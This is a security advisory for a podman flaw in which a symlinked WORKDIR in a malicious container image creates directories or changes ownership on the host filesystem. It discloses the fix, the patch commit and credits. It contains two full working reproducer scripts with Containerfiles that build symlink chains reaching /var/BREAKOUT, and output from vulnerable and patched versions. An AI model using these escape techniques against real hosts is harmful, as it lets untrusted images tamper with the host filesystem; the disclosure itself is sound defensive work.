GHSA-q6r4-3wmg-fwcq

### Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

### Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

### Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

### PoC

The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory.

The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory.

The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.

Reproducer **test1.bash**

``` #!/bin/bash set -o errexit set -o nounset

if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi

dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF

podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ```

Reproducer **test2.bash**

``` #!/bin/bash set -o errexit set -o nounset

if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi

dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF

podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ```

Vulnerable:

podman 5.7.0 using Fedora CoreOS 43.20251120.3.0

``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ```

Not vulnerable:

podman 5.7.1 using Fedora CoreOS 43.20260119.1.1

``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ```

### Credits

We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.